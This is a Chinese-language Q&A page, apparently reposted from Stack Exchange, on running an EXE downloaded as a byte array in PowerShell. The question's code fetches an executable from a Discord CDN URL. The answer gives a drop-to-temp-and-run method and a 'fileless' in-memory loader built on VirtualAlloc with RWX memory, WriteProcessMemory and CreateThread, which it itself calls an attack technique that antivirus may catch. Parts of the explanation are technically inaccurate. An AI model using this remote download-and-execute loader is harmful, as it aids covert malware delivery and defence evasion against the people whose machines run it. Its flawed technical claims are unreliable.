如何将EXE或DLL文件的字节数组加载到内存中执行?
如何在PowerShell中执行PE文件字节数组$PEBytes?
你已经通过PowerShell获取到PE文件的字节数组$PEBytes,但不知道如何执行它。现有代码如下:
$ByteArray = (Invoke-WebRequest "https://cdn.discordapp.com/attachments/1033846522636410930/1033857198088011807/s.exe").Content # Encode base64 string to byte array $Base64String = [System.Convert]::ToBase64String($ByteArray); $InputString = $Base64String # Decode base64 string to byte array $PEBytes = [System.Convert]::FromBase64String($InputString) execution { # I dont know how to execute that decoded byte array "$PEBytes" }
以下提供两种执行方案,分别对应不同需求场景:
方法1:写入磁盘后执行(简单易实现,有磁盘痕迹)
这种方式将字节数组写入临时文件后执行,适合快速测试,但会在磁盘留下文件痕迹,不符合内存注入的无文件执行需求:
# 生成临时EXE文件路径 $tempExePath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.Guid]::NewGuid().ToString() + ".exe") # 将字节数组写入临时文件 [System.IO.File]::WriteAllBytes($tempExePath, $PEBytes) # 执行文件并等待完成 Start-Process -FilePath $tempExePath -Wait # 执行完成后删除临时文件 Remove-Item $tempExePath -Force
方法2:内存中直接执行(无磁盘痕迹,符合内存注入需求)
要实现无文件的内存执行,需要调用Windows原生API完成内存分配、写入、线程创建的流程,步骤如下:
完整代码实现
# 导入所需的Kernel32 API $kernel32 = Add-Type -MemberDefinition @" [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId); [DllImport("kernel32.dll")] public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); "@ -Name "Kernel32" -Namespace "Win32" -PassThru # 定义内存分配常量 $MEM_COMMIT = 0x1000 $MEM_RESERVE = 0x2000 $PAGE_EXECUTE_READWRITE = 0x40 # 1. 在当前进程中分配可执行的内存区域 $allocatedMemory = $kernel32::VirtualAlloc([IntPtr]::Zero, $PEBytes.Length, $MEM_COMMIT -bor $MEM_RESERVE, $PAGE_EXECUTE_READWRITE) # 2. 将PE字节数组写入分配好的内存 $bytesWritten = 0 $kernel32::WriteProcessMemory([IntPtr]::(-1), $allocatedMemory, $PEBytes, $PEBytes.Length, [ref]$bytesWritten) # 3. 创建线程执行内存中的PE入口点 $threadId = 0 $threadHandle = $kernel32::CreateThread([IntPtr]::Zero, 0, $allocatedMemory, [IntPtr]::Zero, 0, [ref]$threadId) # 4. 等待线程执行完成 $kernel32::WaitForSingleObject($threadHandle, [uint32]::MaxValue)
关键说明
- 上述代码仅适用于简单PE文件(如无复杂依赖、无需重定位的独立程序),对于包含导入表、重定位表的复杂PE,需要额外解析导入表、处理重定位逻辑才能正常运行。
- 运行此代码需要PowerShell以管理员权限启动,否则可能因权限不足导致API调用失败。
- 内存执行技术属于无文件攻击范畴,可能会被杀毒软件检测拦截,测试时需确保PE文件安全。
内容的提问来源于stack exchange,提问作者NoobCoding
相关产品推荐
相关产品推荐

